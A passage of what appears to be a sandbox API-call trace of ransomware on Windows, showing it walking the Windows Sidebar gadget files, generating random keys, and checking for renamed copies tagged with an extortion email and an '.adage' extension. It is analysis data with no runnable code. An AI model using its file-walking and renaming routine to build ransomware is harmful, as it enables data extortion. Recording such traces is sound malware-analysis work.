"c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.248] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.250] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=12896) returned 1 [0067.250] CloseHandle (hObject=0x180) returned 1 [0067.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png")) returned 0x20 [0067.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.250] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.251] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=974) returned 1 [0067.251] CloseHandle (hObject=0x180) returned 1 [0067.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css")) returned 0x20 [0067.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.252] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.252] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10118) returned 1 [0067.252] CloseHandle (hObject=0x180) returned 1 [0067.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css")) returned 0x20 [0067.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.253] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.253] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=24636) returned 1 [0067.253] CloseHandle (hObject=0x180) returned 1 [0067.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css")) returned 0x20 [0067.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.254] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.255] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1990) returned 1 [0067.255] CloseHandle (hObject=0x180) returned 1 [0067.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml")) returned 0x20 [0067.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.255] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.256] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1820) returned 1 [0067.256] CloseHandle (hObject=0x180) returned 1 [0067.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js")) returned 0x20 [0067.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.257] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.257] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=43776) returned 1 [0067.257] CloseHandle (hObject=0x180) returned 1 [0067.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js")) returned 0x20 [0067.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.257] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.258] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=14476) returned 1 [0067.258] CloseHandle (hObject=0x180) returned 1 [0067.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js")) returned 0x20 [0067.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.259] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.259] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=57960) returned 1 [0067.259] CloseHandle (hObject=0x180) returned 1 [0067.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js")) returned 0x20 [0067.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.262] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.263] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=135370) returned 1 [0067.263] CloseHandle (hObject=0x180) returned 1 [0067.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js")) returned 0x20 [0067.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\weather.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\weather.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.263] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.264] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8382) returned 1 [0067.264] CloseHandle (hObject=0x180) returned 1 [0067.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html")) returned 0x20 [0067.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.264] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.265] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=16190) returned 1 [0067.265] CloseHandle (hObject=0x180) returned 1 [0067.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html")) returned 0x20 [0067.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.265] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.265] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=12960) returned 1 [0067.265] CloseHandle (hObject=0x180) returned 1 [0067.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png")) returned 0x20 [0067.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.266] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.270] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5206) returned 1 [0067.271] CloseHandle (hObject=0x180) returned 1 [0067.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png")) returned 0x20 [0067.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.272] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.275] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5457) returned 1 [0067.275] CloseHandle (hObject=0x180) returned 1 [0067.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png")) returned 0x20 [0067.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.276] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.277] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5457) returned 1 [0067.277] CloseHandle (hObject=0x180) returned 1 [0067.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png")) returned 0x20 [0067.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.277] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.277] CreateFileW 